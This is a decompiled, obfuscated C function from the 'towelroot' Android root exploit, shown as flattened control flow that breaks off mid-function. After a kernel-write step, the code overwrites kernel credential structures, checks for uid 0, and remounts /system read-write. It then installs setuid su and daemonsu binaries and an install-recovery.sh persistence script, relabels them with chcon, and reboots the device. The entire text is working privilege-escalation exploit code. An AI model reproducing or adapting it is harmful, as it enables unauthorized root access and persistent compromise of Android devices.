//----- (0000881C) --------------------------------------------------------
signed int sub_881C()
{
signed int v0; // r6@1
signed int v1; // r4@1
signed int v2; // r5@1
signed int v3; // lr@1
signed int v4; // r7@1
signed int v5; // r12@1
signed int v6; // r3@1
signed int v7; // r9@1
signed int v8; // r10@1
signed int v9; // r8@1
signed int v10; // r1@1
signed int result; // r0@1
signed int v12; // r2@30
signed int v13; // r6@30
signed int v14; // r0@30
signed int v15; // r7@30
char v16; // r0@31
signed int v17; // r9@39
char v18; // zf@44
signed int v19; // r9@61
signed int v20; // r9@65
signed int v21; // r9@72
FILE *v22; // r0@72
char v23; // r0@72
signed int v24; // r9@77
char v25; // r0@77
signed int v26; // r9@99
signed int v27; // r9@107
char v28; // r0@113
signed int v29; // r6@123
signed int v30; // r9@152
signed int v31; // r9@163
signed int v32; // r9@177
int v33; // r1@177
int v34; // r2@177
int v35; // r3@177
signed int v36; // r9@187
signed int v37; // r9@190
FILE *v38; // r0@190
signed int v39; // r9@201
signed int v40; // r6@228
signed int v41; // r9@231
signed int v42; // r9@244
signed int v43; // r9@263
signed int v44; // r9@283
signed int v45; // r9@289
unsigned int v46; // r0@292
unsigned __int8 v47; // cf@292
char v48; // r0@292
char v49; // r0@302
char v50; // r0@313
signed int v51; // r9@323
char v52; // r0@334
unsigned int v53; // r0@339
char v54; // r0@339
signed int v55; // r9@344
int v56; // r0@355
signed int v57; // r1@355
unsigned int v58; // r0@363
char v59; // r0@363
signed int v60; // r9@379
signed int v61; // r9@408
FILE *v62; // r0@408
unsigned int v63; // r0@413
char v64; // r0@413
signed int v65; // r9@418
signed int v66; // r9@430
char v67; // r0@430
char v68; // r0@455
int v69; // r0@460
signed int v70; // r7@489
int v71; // r0@498
void *v72; // r0@498
int v73; // [sp+0h] [bp-7C0h]@0
signed int v74; // [sp+4h] [bp-7BCh]@0
int v75; // [sp+8h] [bp-7B8h]@0
int v76; // [sp+34h] [bp-78Ch]@30
int v77; // [sp+38h] [bp-788h]@30
int v78; // [sp+3Ch] [bp-784h]@30
signed int v79; // [sp+40h] [bp-780h]@30
FILE *v80; // [sp+144h] [bp-67Ch]@30
int v81; // [sp+154h] [bp-66Ch]@30
char v82; // [sp+158h] [bp-668h]@489
char v83; // [sp+258h] [bp-568h]@463
int v84; // [sp+25Ch] [bp-564h]@478
int v85; // [sp+260h] [bp-560h]@1
char v86; // [sp+266h] [bp-55Ah]@492
char v87; // [sp+267h] [bp-559h]@457
int v88; // [sp+268h] [bp-558h]@77
int v89; // [sp+26Ch] [bp-554h]@155
int v90; // [sp+270h] [bp-550h]@422
int v91; // [sp+274h] [bp-54Ch]@302
int v92; // [sp+278h] [bp-548h]@255
int v93; // [sp+27Ch] [bp-544h]@113
char v94; // [sp+280h] [bp-540h]@177
int v95; // [sp+284h] [bp-53Ch]@177
int v96; // [sp+288h] [bp-538h]@177
int v97; // [sp+28Ch] [bp-534h]@177
int v98; // [sp+290h] [bp-530h]@177
int v99; // [sp+294h] [bp-52Ch]@177
int v100; // [sp+298h] [bp-528h]@177
int v101; // [sp+29Ch] [bp-524h]@177
int v102; // [sp+2A0h] [bp-520h]@177
signed int v103; // [sp+2A8h] [bp-518h]@177
signed int v104; // [sp+2ACh] [bp-514h]@177
signed int v105; // [sp+2B0h] [bp-510h]@177
signed int v106; // [sp+2B4h] [bp-50Ch]@177
signed int v107; // [sp+2B8h] [bp-508h]@177
signed int v108; // [sp+2BCh] [bp-504h]@177
signed int v109; // [sp+2C0h] [bp-500h]@177
signed int v110; // [sp+2C4h] [bp-4FCh]@177
unsigned int v111; // [sp+2D8h] [bp-4E8h]@263
char v112[1024]; // [sp+380h] [bp-440h]@30
char v113; // [sp+780h] [bp-40h]@30
int v114; // [sp+78Ch] [bp-34h]@30
char v115; // [sp+793h] [bp-2Dh]@118
char v116; // [sp+794h] [bp-2Ch]@134
char v117; // [sp+795h] [bp-2Bh]@297
char v118; // [sp+796h] [bp-2Ah]@294
char v119; // [sp+797h] [bp-29h]@88
char v120; // [sp+798h] [bp-28h]@318
char v121; // [sp+799h] [bp-27h]@326
char v122; // [sp+79Ah] [bp-26h]@33
char v123; // [sp+79Bh] [bp-25h]@79
char v124; // [sp+79Ch] [bp-24h]@166
char v125; // [sp+79Dh] [bp-23h]@115
char v126; // [sp+79Eh] [bp-22h]@74
char v127; // [sp+79Fh] [bp-21h]@357

pthread_mutex_lock(&is_thread_awake_lock);
pthread_cond_signal(&is_thread_awake);
pthread_mutex_unlock(&is_thread_awake_lock);
v0 = -1787101248;
v1 = -2052581280;
v2 = 1918411916;
v3 = 920973262;
v85 = HACKS_final_stack_base;
v4 = -1706446860;
v5 = -1443950635;
v6 = -1787101247;
v7 = 26443918;
v8 = 1295232369;
v9 = -1320881322;
v10 = -1461759429;
result = -1461759429;
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
LABEL_4:
while ( result <= v0 )
{
if ( result != v1 )
goto LABEL_4;
LABEL_464:
result = 1918411917;
}
if ( result <= v2 )
break;
if ( result == 1918411917 )
result = v9;
}
if ( result <= 1752917371 )
break;
if ( result == 1752917372 )
result = v6;
}
if ( result > -1706446861 )
break;
if ( result == v6 )
{
result = v3;
if ( !did_splice_tid_read )
result = 1752917372;
}
}
if ( result <= -1461759430 )
break;
if ( result > 1295232368 )
{
if ( result == v8 )
result = v9;
}
else if ( result > -1443950636 )
{
if ( result <= -1424694618 )
{
if ( result != v5 )
goto LABEL_4;
_android_log_print(4, "towelroot", "cpid3 resumed ", v6, v73, v74, v75);
pthread_mutex_lock(is_kernel_writing);
_android_log_print(4, "towelroot", "WOOT ");
sub_BA44(HACKS_final_stack_base, (int)&v113, 16);
v78 = v114;
sub_BA44(v114, (int)v112, 1024);
v79 = 0;
v77 = 0;
v81 = 0;
v76 = 0;
v12 = -2130183586;
v13 = 659993302;
v80 = 0;
v14 = 813660343;
v15 = 2120039616;
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
LABEL_34:
while ( v14 <= -2130183587 )
{
if ( v14 == -2138564607 )
{
v16 = 0;
if ( (unsigned int)v81 < 0xFFFF0000 )
v16 = 1;
v122 = v16;
v14 = v13;
}
}
if ( v14 <= -2124454980 )
{
if ( v14 != v12 )
continue;
v17 = v12;
fwrite(&su, 1u, su_len, v80);
fclose(v80);
chmod("/system/xbin/su", 3565);
goto LABEL_40;
}
if ( v14 <= 2120039615 )
break;
if ( v14 == v15 )
v14 = -109185484;
}
if ( v14 > -2121528649 )
break;
if ( v14 == -2124454979 )
{
v13 = v12;
v18 = fork() == 0;
v14 = -251058490;
v12 = v13;
LOWORD(v13) = -19754;
if ( v18 )
v14 = 27180;
v15 = 2120039616;
HIWORD(v13) = 10070;
if ( v18 )
HIWORD(v14) = -7507;
}
}
if ( v14 > -2102195321 )
break;
if ( v14 == -2121528648 )
v14 = -2138564607;
}
if ( v14 > -2090996649 )
break;
if ( v14 == -2102195320 )
{
v14 = 93280306;
if ( *(_DWORD *)&v112[4 * v79 + 24] == *(_DWORD *)&v112[4 * v79 + 28] )
v14 = -459156775;
}
}
if ( v14 <= -2086631517 )
{
if ( v14 != -2090996648 )
goto LABEL_34;
v19 = v12;
sleep(10);
goto LABEL_62;
}
if ( v14 <= -2064196850 )
{
if ( v14 != -2086631516 )
goto LABEL_34;
v20 = v12;
fwrite(&su, 1u, su_len, v80);
fclose(v80);
chmod("/system/xbin/daemonsu", 493);
v12 = v20;
LABEL_66:
v14 = -1511063752;
goto LABEL_34;
}
if ( v14 > -2048849012 )
break;
if ( v14 == -2064196849 )
v14 = 212489599;
}
if ( v14 > -2041505717 )
break;
if ( v14 == -2048849011 )
{
v21 = v12;
v22 = fopen("/system/xbin/daemonsu", "wb");
v80 = v22;
v18 = v22 == 0;
v23 = 0;
v12 = v21;
if ( v18 )
v23 = 1;
v126 = v23;
v14 = -778324465;
}
}
if ( v14 > -2009744347 )
break;
if ( v14 == -2041505716 )
{
v24 = v12;
sub_BA44(v81, (int)&v88, 24);
v25 = v88;
v12 = v24;
if ( v88 )
v25 = 1;
v123 = v25;
v14 = -116224567;
}
}
if ( v14 > -2005244521 )
break;
if ( v14 == -2009744346 )
{
++v79;
v14 = 813660343;
}
}
if ( v14 > -1953280817 )
break;
if ( v14 == -2005244520 )
v14 = -2041505716;
}
if ( v14 > -1921109414 )
break;
if ( v14 == -1953280816 )
{
v14 = 93280306;
if ( v119 )
v14 = -2102195320;
}
}
if ( v14 > -1913929176 )
break;
if ( v14 == -1921109413 )
v14 = 171860441;
}
if ( v14 > -1912575107 )
break;
if ( v14 == -1913929175 )
v14 = 171860441;
}
if ( v14 > -1749526092 )
break;
if ( v14 == -1912575106 )
{
v26 = v12;
v18 = system("/system/bin/mount -o rw,remount /system") == 0;
v14 = 1384539185;
v12 = v26;
if ( !v18 )
v14 = 955135734;
}
}
if ( v14 > -1741502551 )
break;
if ( v14 == -1749526091 )
v14 = 364298640;
}
if ( v14 > -1723392329 )
break;
if ( v14 == -1741502550 )
{
v27 = v12;
_android_log_print(4, "towelroot", "open %s failed ", "/system/etc/install-recovery.sh");
v14 = 170287388;
v12 = v27;
}
}
if ( v14 > -1721762756 )
break;
if ( v14 == -1723392328 )
v14 = 1391689778;
}
if ( v14 > -1719595765 )
break;
if ( v14 == -1721762755 )
{
v28 = 0;
if ( !v93 )
v28 = 1;
v125 = v28;
v14 = 2111171057;
}
}
if ( v14 > -1600313241 )
break;
v15 = 2120039616;
if ( v14 == -1719595764 )
{
v14 = 1744476774;
if ( v115 )
v14 = -213118578;
}
}
if ( v14 > -1585751473 )
break;
v15 = 2120039616;
if ( v14 == -1600313240 )
{
v29 = v12;
v80 = fopen("/system/xbin/daemonsu", "wb");
v14 = -2048849011;
v15 = 2120039616;
v12 = v29;
v13 = 659993302;
}
}
if ( v14 > -1545774387 )
break;
v15 = 2120039616;
if ( v14 == -1585751472 )
{
v14 = 93280306;
if ( *(_DWORD *)&v112[4 * v79 + 16] == *(_DWORD *)&v112[4 * v79 + 20] )
v14 = 29057537;
}
}
if ( v14 > -1515490549 )
break;
v15 = 2120039616;
if ( v14 == -1545774386 )
v14 = -866390007;
}
if ( v14 > -1514262418 )
break;
v15 = 2120039616;
if ( v14 == -1515490548 )
{
v14 = 93280306;
if ( v116 )
v14 = -881023702;
}
}
if ( v14 > -1511063753 )
break;
v15 = 2120039616;
if ( v14 == -1514262417 )
v14 = -2124454979;
}
if ( v14 > -1419458129 )
break;
v15 = 2120039616;
if ( v14 == -1511063752 )
{
fwrite(&su, 1u, su_len, v80);
fclose(v80);
chmod("/system/xbin/daemonsu", 493);
v12 = -2130183586;
v14 = 620115465;
}
}
if ( v14 > -1305451062 )
break;
v15 = 2120039616;
if ( v14 == -1419458128 )
v14 = -978178195;
}
if ( v14 > -1285427321 )
break;
v15 = 2120039616;
if ( v14 == -1305451061 )
v14 = 212489599;
}
if ( v14 <= -1242426932 )
{
v15 = 2120039616;
if ( v14 != -1285427320 )
goto LABEL_34;
v30 = v12;
_android_log_print(4, "towelroot", "MOUNT RO FAILED ");
v12 = v30;
LABEL_225:
v14 = -326373175;
goto LABEL_34;
}
if ( v14 > -1218482491 )
break;
v15 = 2120039616;
if ( v14 == -1242426931 )
{
v14 = -1419458128;
if ( v89 )
v14 = 1655157796;
}
}
if ( v14 > -1164260251 )
break;
v15 = 2120039616;
if ( v14 == -1218482490 )
v14 = -2048849011;
}
if ( v14 <= -1152208194 )
{
v15 = 2120039616;
if ( v14 != -1164260250 )
goto LABEL_34;
v31 = v12;
sleep(10);
v12 = v31;
LABEL_260:
v14 = 224967989;
goto LABEL_34;
}
if ( v14 > -1096970947 )
break;
v15 = 2120039616;
if ( v14 == -1152208193 )
{
v14 = -1419458128;
if ( v124 )
v14 = -183827150;
}
}
if ( v14 > -1005284482 )
break;
v15 = 2120039616;
if ( v14 == -1096970946 )
v14 = 550617874;
}
if ( v14 <= -978178196 )
{
v15 = 2120039616;
if ( v14 != -1005284481 )
goto LABEL_34;
++v79;
LABEL_178:
v14 = -781784692;
goto LABEL_34;
}
if ( v14 <= -961260974 )
{
v15 = 2120039616;
if ( v14 != -978178195 )
goto LABEL_34;
v32 = v12;
v95 = 0;
v96 = 0;
v97 = 0;
v98 = 0;
v99 = 0;
v100 = 0;
v101 = 0;
v102 = 0;
v79 = 0;
v103 = -1;
v104 = -1;
v105 = -1;
v106 = -1;
v107 = -1;
v108 = -1;
v109 = -1;
v110 = -1;
sub_B7D8(v77, (int)&v94, 72);
v76 = syscall(224, v33, v34, v35);
v12 = v32;
goto LABEL_178;
}
if ( v14 <= -932069066 )
{
v15 = 2120039616;
if ( v14 != -961260973 )
goto LABEL_34;
LABEL_238:
v14 = 1284362286;
goto LABEL_34;
}
if ( v14 > -915595948 )
break;
v15 = 2120039616;
if ( v14 == -932069065 )
v14 = -2090996648;
}
if ( v14 > -902271694 )
break;
v15 = 2120039616;
if ( v14 == -915595947 )
{
v36 = v12;
_android_log_print(4, "towelroot", "ROOT FAILED ");
v14 = -181684634;
v12 = v36;
}
}
if ( v14 > -881023703 )
break;
v15 = 2120039616;
if ( v14 == -902271693 )
{
v37 = v12;
v38 = fopen("/system/etc/install-recovery.sh", "wb");
v80 = v38;
v18 = v38 == 0;
v14 = -452748303;
v12 = v37;
if ( v18 )
v14 = 2115198479;
}
}
if ( v14 > -866390008 )
break;
v15 = 2120039616;
if ( v14 == -881023702 )
v14 = 364298640;
}
if ( v14 > -804413751 )
break;
v15 = 2120039616;
if ( v14 == -866390007 )
v14 = -564811182;
}
if ( v14 > -781784693 )
break;
v15 = 2120039616;
if ( v14 == -804413750 )
{
v39 = v12;
v18 = getuid() == 0;
v14 = -1912575106;
v12 = v39;
if ( !v18 )
v14 = 521100380;
}
}
if ( v14 > -778324466 )
break;
v15 = 2120039616;
if ( v14 == -781784692 )
{
v14 = -1545774386;
if ( *(_DWORD *)&v112[4 * v79] == v76 )
v14 = 117140219;
}
}
if ( v14 > -759516730 )
break;
v15 = 2120039616;
if ( v14 == -778324465 )
{
v14 = 1085380913;
if ( v126 )
v14 = 1462027221;
}
}
if ( v14 > -681534242 )
break;
v15 = 2120039616;
if ( v14 == -759516729 )
v14 = 1191633733;
}
if ( v14 > -564811183 )
break;
v15 = 2120039616;
if ( v14 == -681534241 )
v14 = -496558070;
}
if ( v14 > -525024318 )
break;
v15 = 2120039616;
if ( v14 == -564811182 )
v14 = -1005284481;
}
if ( v14 <= -496558071 )
{
v15 = 2120039616;
if ( v14 != -525024317 )
goto LABEL_34;
goto LABEL_225;
}
if ( v14 > -491951573 )
break;
v15 = 2120039616;
if ( v14 == -496558070 )
{
v40 = v12;
sleep(10);
v15 = 2120039616;
v12 = v40;
v13 = 659993302;
v14 = 2120039616;
}
}
if ( v14 > -459156776 )
break;
v15 = 2120039616;
if ( v14 == -491951572 )
{
v41 = v12;
_android_log_print(
4,
"towelroot",
"rebooting in 15 ");
sleep(15);
_android_log_print(
4,
"towelroot",
"rebooting ");
system("reboot");
v12 = v41;
v14 = 2120039616;
}
}
if ( v14 > -452748304 )
break;
v15 = 2120039616;
if ( v14 == -459156775 )
v14 = 550617874;
}
if ( v14 <= -353533450 )
{
v15 = 2120039616;
if ( v14 != -452748303 )
goto LABEL_34;
fwrite(
install_recovery_sh,
1u,
install_recovery_sh_len,
v80);
fclose(v80);
chmod(
"/system/etc/install-recovery.sh",
493);
v12 = -2130183586;
goto LABEL_238;
}
if ( v14 > -326373176 )
break;
v15 = 2120039616;
if ( v14 == -353533449 )
v14 = -1721762755;
}
if ( v14 > -251058491 )
break;
v15 = 2120039616;
if ( v14 == -326373175 )
{
v42 = v12;
_android_log_print(
4,
"towelroot",
"MOUNT RO FAILED ");
v14 = -1514262417;
v12 = v42;
}
}
if ( v14 > -213118579 )
break;
v15 = 2120039616;
if ( v14 == -251058490 )
{
pthread_mutex_lock(&done_lock);
pthread_cond_signal(&done);
pthread_mutex_unlock(&done_lock);
result = -1424694617;
v10 = -1461759429;
v6 = -1787101247;
v3 = 920973262;
v4 = -1706446860;
v5 = -1443950635;
v1 = -2052581280;
v2 = 1918411916;
v0 = -1787101248;
v9 = -1320881322;
v7 = 26443918;
v8 = 1295232369;
goto LABEL_4;
}
}
if ( v14 > -183827151 )
break;
v15 = 2120039616;
if ( v14 == -213118578 )
{
v14 = 93280306;
if ( *(_DWORD *)&v112[4 * v79] == *(_DWORD *)&v112[4 * v79 + 4] )
v14 = 1044840074;
}
}
if ( v14 > -181684635 )
break;
v15 = 2120039616;
if ( v14 == -183827150 )
{
v14 = -1419458128;
if ( !v92 )
v14 = -353533449;
}
}
if ( v14 <= -153904172 )
{
v15 = 2120039616;
if ( v14 != -181684634 )
goto LABEL_34;
goto LABEL_260;
}
if ( v14 > -116224568 )
break;
v15 = 2120039616;
if ( v14 == -153904171 )
{
v43 = v12;
sub_BA44(v77, (int)&v94, 256);
v12 = v43;
v81 = v111;
v14 = 2044651804;
}
}
if ( v14 > -109185485 )
break;
v15 = 2120039616;
if ( v14 == -116224567 )
{
v14 = -1419458128;
if ( v123 )
v14 = -1242426931;
}
}
if ( v14 > 29057536 )
break;
v15 = 2120039616;
if ( v14 == -109185484 )
v14 = -681534241;
}
if ( v14 > 93280305 )
break;
v15 = 2120039616;
if ( v14 == 29057537 )
v14 = 1391689778;
}
if ( v14 > 108434451 )
break;
v15 = 2120039616;
if ( v14 == 93280306 )
v14 = -2009744346;
}
if ( v14 > 117140218 )
break;
v15 = 2120039616;
if ( v14 == 108434452 )
v14 = 528630549;
}
if ( v14 > 150541933 )
break;
v15 = 2120039616;
if ( v14 == 117140219 )
{
v44 = v12;
sub_B7D8(4 * v79 + v78, (int)&unk_CDF9, 4);
v14 = -804413750;
v12 = v44;
}
}
if ( v14 > 170287387 )
break;
v15 = 2120039616;
if ( v14 == 150541934 )
v14 = -2138564607;
}
if ( v14 > 171860440 )
break;
v15 = 2120039616;
if ( v14 == 170287388 )
{
v45 = v12;
_android_log_print(
4,
"towelroot",
"open %s failed ",
"/system/etc/install-recovery.sh");
v14 = -961260973;
v12 = v45;
}
}
if ( v14 > 189835053 )
break;
v15 = 2120039616;
if ( v14 == 171860441 )
{
v46 = *(_DWORD *)&v112[4 * v79 + 8];
v47 = v46 >= 0xC0000000;
v18 = v46 == -1073741824;
v48 = 0;
if ( !v18 & v47 )
v48 = 1;
v118 = v48;
v14 = 1153230344;
}
}
if ( v14 > 212489598 )
break;
v15 = 2120039616;
if ( v14 == 189835054 )
{
v14 = 93280306;
if ( v117 )
v14 = -1913929175;
}
}
if ( v14 > 224967988 )
break;
v15 = 2120039616;
if ( v14 == 212489599 )
{
v49 = 0;
if ( !v91 )
v49 = 1;
v124 = v49;
v14 = -1152208193;
}
}
if ( v14 > 292233490 )
break;
v15 = 2120039616;
if ( v14 == 224967989 )
v14 = -1164260250;
}
if ( v14 > 364298639 )
break;
v15 = 2120039616;
if ( v14 == 292233491 )
{
v77 = *(_DWORD *)&v112[4 * v79 + 28];
v14 = 1191633733;
}
}
if ( v14 > 391296929 )
break;
v15 = 2120039616;
if ( v14 == 364298640 )
{
v50 = 0;
if ( *(_DWORD *)&v112[-4 * (-2 - v79)] == *(_DWORD *)&v112[4 * v79 + 12] )
v50 = 1;
v117 = v50;
v14 = 189835054;
}
}
if ( v14 > 416162447 )
break;
v15 = 2120039616;
if ( v14 == 391296930 )
{
v14 = 93280306;
if ( v120 )
v14 = -759516729;
}
}
if ( v14 > 509794381 )
break;
v15 = 2120039616;
if ( v14 == 416162448 )
{
v88 = 1;
v51 = v12;
v89 = 1;
_android_log_print(4, "towelroot", "YOU ARE A SCARY PHONE ");
sub_B7D8(v81, (int)&v88, 24);
v14 = -1419458128;
v12 = v51;
}
}
if ( v14 > 521100379 )
break;
v15 = 2120039616;
if ( v14 == 509794382 )
{
v14 = -978178195;
if ( v121 )
v14 = 150541934;
}
}
if ( v14 > 528630548 )
break;
v15 = 2120039616;
if ( v14 == 521100380 )
v14 = -915595947;
}
if ( v14 > 550617873 )
break;
v15 = 2120039616;
if ( v14 == 528630549 )
{
v52 = 0;
if ( v79 < 256 )
v52 = 1;
v115 = v52;
v14 = -1719595764;
}
}
if ( v14 > 576103607 )
break;
v15 = 2120039616;
if ( v14 == 550617874 )
{
v53 = *(_DWORD *)&v112[4 * v79 + 24];
v47 = v53 >= 0xC0000000;
v18 = v53 == -1073741824;
v54 = 0;
if ( !v18 & v47 )
v54 = 1;
v120 = v54;
v14 = 391296930;
}
}
if ( v14 > 620115464 )
break;
v15 = 2120039616;
if ( v14 == 576103608 )
{
v55 = v12;
sub_BA44(v81, (int)&v88, 24);
v14 = -2041505716;
v12 = v55;
}
}
if ( v14 <= 659993301 )
{
v15 = 2120039616;
if ( v14 != 620115465 )
goto LABEL_34;
LABEL_419:
v14 = -902271693;
goto LABEL_34;
}
if ( v14 > 669533239 )
break;
v15 = 2120039616;
if ( v14 == v13 )
{
v14 = -978178195;
if ( v122 )
v14 = -2005244520;
}
}
if ( v14 > 683715704 )
break;
v15 = 2120039616;
if ( v14 == 669533240 )
{
_android_log_print(4, "towelroot", "doing chcon ");
system("/system/bin/chcon u:object_r:system_file:s0 /system/xbin/su /system/xbin/daemonsu /system/etc/install-recovery.sh");
system("/system/bin/toolbox chcon u:object_r:system_file:s0 /system/xbin/su /system/xbin/daemonsu /system/etc/install-recovery.sh");
system("/system/xbin/su --install");
v56 = system("/system/bin/mount -o ro,remount /system");
LOWORD(v57) = -1442;
if ( v56 )
LOBYTE(v56) = 1;
HIWORD(v57) = -32505;
v127 = v56;
v14 = 853981408;
v12 = v57;
}
}
if ( v14 > 684340807 )
break;
v15 = 2120039616;
if ( v14 == 683715705 )
v14 = -866390007;
}
if ( v14 > 813660342 )
break;
v15 = 2120039616;
if ( v14 == 684340808 )
{
v58 = *(_DWORD *)&v112[4 * v79];
v47 = v58 >= 0xC0000000;
v18 = v58 == -1073741824;
v59 = 0;
if ( !v18 & v47 )
v59 = 1;
v116 = v59;
v14 = -1515490548;
}
}
if ( v14 > 853981407 )
break;
v15 = 2120039616;
if ( v14 == 813660343 )
v14 = 528630549;
}
if ( v14 > 919942505 )
break;
v15 = 2120039616;
if ( v14 == 853981408 )
{
v14 = -2124454979;
if ( v127 )
v14 = -525024317;
}
}
if ( v14 > 946509526 )
break;
v15 = 2120039616;
if ( v14 == 919942506 )
v14 = 684340808;
}
if ( v14 > 955135733 )
break;
v15 = 2120039616;
if ( v14 == 946509527 )
{
v60 = v12;
_android_log_print(4, "towelroot", "ROOT FAILED ");
v14 = -915595947;
v12 = v60;
}
}
if ( v14 > 1044840073 )
break;
v15 = 2120039616;
if ( v14 == 955135734 )
{
v19 = v12;
_android_log_print(4, "towelroot", "MOUNT RW FAILED ");
LABEL_62:
v14 = -932069065;
v12 = v19;
goto LABEL_34;
}
}
if ( v14 > 1068385649 )
break;
v15 = 2120039616;
if ( v14 == 1044840074 )
v14 = 684340808;
}
if ( v14 > 1085380912 )
break;
v15 = 2120039616;
if ( v14 == 1068385650 )
v14 = 1744476774;
}
if ( v14 > 1153230343 )
break;
v15 = 2120039616;
if ( v14 == 1085380913 )
goto LABEL_66;
}
if ( v14 > 1191633732 )
break;
v15 = 2120039616;
if ( v14 == 1153230344 )
{
v14 = 93280306;
if ( v118 )
v14 = -1585751472;
}
}
if ( v14 > 1284362285 )
break;
v15 = 2120039616;
if ( v14 == 1191633733 )
{
v77 = *(_DWORD *)&v112[-4 * (-7 - v79)];
v14 = 1068385650;
}
}
if ( v14 <= 1314750265 )
break;
if ( v14 > 1384539184 )
{
if ( v14 > 1391689777 )
{
if ( v14 > 1462027220 )
{
if ( v14 <= 1655157795 )
{
v15 = 2120039616;
if ( v14 != 1462027221 )
goto LABEL_34;
v65 = v12;
_android_log_print(4, "towelroot", "open %s failed ", "/system/xbin/daemonsu");
v12 = v65;
goto LABEL_419;
}
if ( v14 > 1744476773 )
{
if ( v14 > 2044651803 )
{
if ( v14 > 2104519028 )
{
if ( v14 > 2111171056 )
{
if ( v14 > 2113717884 )
{
if ( v14 == 2113717885 )
{
v14 = -109185484;
goto LABEL_445;
}
if ( v14 == 2115198479 )
{
v14 = 170287388;
LABEL_445:
v15 = 2120039616;
goto LABEL_34;
}
v15 = 2120039616;
if ( v14 == 2115729179 )
{
_android_log_print(4, "towelroot", "doing chcon ");
system("/system/bin/chcon u:object_r:system_file:s0 /system/xbin/su /system/xbin/daemonsu /system/etc/install-recovery.sh");
system("/system/bin/toolbox chcon u:object_r:system_file:s0 /system/xbin/su /system/xbin/daemonsu /system/etc/install-recovery.sh");
system("/system/xbin/su --install");
system("/system/bin/mount -o ro,remount /system");
v12 = -2130183586;
LABEL_448:
v14 = 669533240;
goto LABEL_34;
}
}
else
{
v15 = 2120039616;
if ( v14 == 2111171057 )
{
v14 = -1419458128;
if ( v125 )
v14 = 416162448;
}
}
}
else
{
v15 = 2120039616;
if ( v14 == 2104519029 )
{
v17 = v12;
_android_log_print(4, "towelroot", "open %s failed ", "/system/xbin/su");
LABEL_40:
v12 = v17;
v14 = -1218482490;
goto LABEL_34;
}
}
}
else
{
v15 = 2120039616;
if ( v14 == 2044651804 )
{
v66 = v12;
sub_BA44(v77, (int)&v94, 256);
v12 = v66;
v81 = v111;
v67 = 0;
if ( v111 > 0xC0000000 )
v67 = 1;
v121 = v67;
v14 = 509794382;
}
}
}
else
{
v15 = 2120039616;
if ( v14 == 1744476774 )
v14 = 2044651804;
}
}
else
{
v15 = 2120039616;
if ( v14 == 1655157796 )
{
v14 = -1419458128;
if ( !v90 )
v14 = -1305451061;
}
}
}
else
{
v15 = 2120039616;
if ( v14 == 1391689778 )
{
v63 = *(_DWORD *)&v112[4 * v79 + 16];
v47 = v63 >= 0xC0000000;
v18 = v63 == -1073741824;
v64 = 0;
if ( !v18 & v47 )
v64 = 1;
v119 = v64;
v14 = -1953280816;
}
}
}
else
{
v15 = 2120039616;
if ( v14 == 1384539185 )
{
v61 = v12;
v62 = fopen("/system/xbin/su", "wb");
v12 = v61;
v80 = v62;
v18 = v62 == 0;
v14 = v61;
if ( v18 )
v14 = 2104519029;
}
}
}
else
{
v15 = 2120039616;
if ( v14 == 1314750266 )
v14 = -1721762755;
}
}
v15 = 2120039616;
if ( v14 != 1284362286 )
goto LABEL_34;
goto LABEL_448;
}
if ( result > -1320881323 )
{
if ( result > -512654260 )
{
if ( result > -116490905 )
{
if ( result > -16427466 )
{
if ( result > 26443917 )
{
if ( result > 176063917 )
{
if ( result > 263847525 )
{
if ( result > 513310240 )
{
if ( result > 602403845 )
{
if ( result > 920973261 )
{
if ( result > 998255657 )
{
if ( result == 998255658 )
{
result = 1222654836;
goto LABEL_496;
}
if ( result == 1207554858 )
{
result = 602403846;
if ( v86 )
result = -116490904;
LABEL_496:
v4 = -1706446860;
v5 = -1443950635;
v9 = -1320881322;
v7 = 26443918;
v8 = 1295232369;
}
else
{
v4 = -1706446860;
v5 = -1443950635;
v9 = -1320881322;
v7 = 26443918;
v8 = 1295232369;
if ( result == 1222654836 )
{
_android_log_print(4, "towelroot", "cpid1 resumed ", v6, v73, v74, v75);
pthread_mutex_lock(is_kernel_writing);
v8 = 1295232369;
HACKS_fdm = open("/dev/ptmx", 2);
unlockpt();
v71 = ptsname(HACKS_fdm);
open(v71, 2);
v5 = -1443950635;
v3 = 920973262;
v6 = -1787101247;
v10 = -1461759429;
v72 = ph[3];
if ( v72 )
LOBYTE(v72) = 1;
v86 = (char)v72;
result = 1207554858;
}
}
}
else
{
v8 = 1295232369;
if ( result == v3 )
{
v70 = v5;
read(HACKS_fdm, &v82, 256);
v3 = 920973262;
v6 = -1787101247;
v10 = -1461759429;
v5 = v70;
v4 = -1706446860;
LABEL_479:
result = -16427465;
}
}
}
else if ( result == 602403846 )
{
do_splice_tid_read = 1;
result = v6;
}
}
else if ( result == 513310241 )
{
sleep(10);
v3 = 920973262;
v6 = -1787101247;
v10 = -1461759429;
v5 = -1443950635;
goto LABEL_483;
}
}
else if ( result == 263847526 )
{
v73 = 0;
v74 = 256;
v75 = 0;
